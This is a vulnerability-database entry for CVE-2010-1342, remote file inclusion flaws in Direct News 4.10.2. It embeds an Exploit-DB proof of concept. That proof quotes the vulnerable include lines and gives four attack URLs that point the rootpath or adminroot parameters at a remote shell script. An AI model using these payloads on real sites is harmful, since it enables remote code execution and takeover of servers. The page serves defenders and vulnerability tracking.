CVE-2010-1342

medium

Published 2010-04-09 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

7.8

Description

Multiple PHP remote file inclusion vulnerabilities in Direct News 4.10.2, when register_globals is enabled, allow remote attackers to execute arbitrary PHP code via a URL in the rootpath parameter to (1) admin/menu.php and (2) library/lib.menu.php; and the adminroot parameter to (3) admin/media/update_content.php and (4) library/class.backup.php. NOTE: some of these details are obtained from third party information.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-11882 webapps php verified text · 2 KB

mat · 2010-03-25

Direct News 4.10.2 - Multiple Remote File Inclusions

text exploit Source: Exploit-DB

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Direct News 4.10.2 Multiple Remote File Include Vulnerability
Script: http://code.google.com/p/directnews/downloads/list
Author: mat
Mail: rahmat_punk@hotmail.com
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#################################################
#Vuln Code (directnews-4.10-open-20090506/admin/menu.php)
#
#<?...
#include_once $rootpath .'/library/lib.menu.php';
#include_once $rootpath .'/modules/menu/lib/treemenu.inc.php';
#...?>
#################################################
#################################################
#Vuln Code (directnews-4.10-open-20090506/admin/media/update_content.php)
#
#<?...
#require_once $adminroot . '/inc.php';
#require_once './lib.media.php';
#require_once $adminroot . '/verif_identite.php';
#...?>
#################################################
#################################################
#Vuln Code (directnews-4.10-open-20090506/library/class.backup.php)
#
#<?...
#require_once $adminroot .'/inc.php';
#...?>
#################################################
#################################################
#Vuln Code (directnews-4.10-open-20090506/library/lib.menu.php)
#
#<?...
#require_once $rootpath . '/library/class.menuPere.php';
#...?>
#################################################

Usage: http://[target]/[path]/admin/menu_xml.php?rootpath=http://[shellscript]
       http://[target]/[path]/admin/media/update_content.php?adminroot=http://[shellscript]
       http://[target]/[path]/library/class.backup.php?adminroot=http://[shellscript]
       http://[target]/[path]/library/lib.menu.php?rootpath=http://[shellscript]

Greetings: All Hackerz

Application impact

Vendor	Product	Versions	Fixed
directnews	direct_news	`4.10.2`

References

CWEs

CWE-94

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.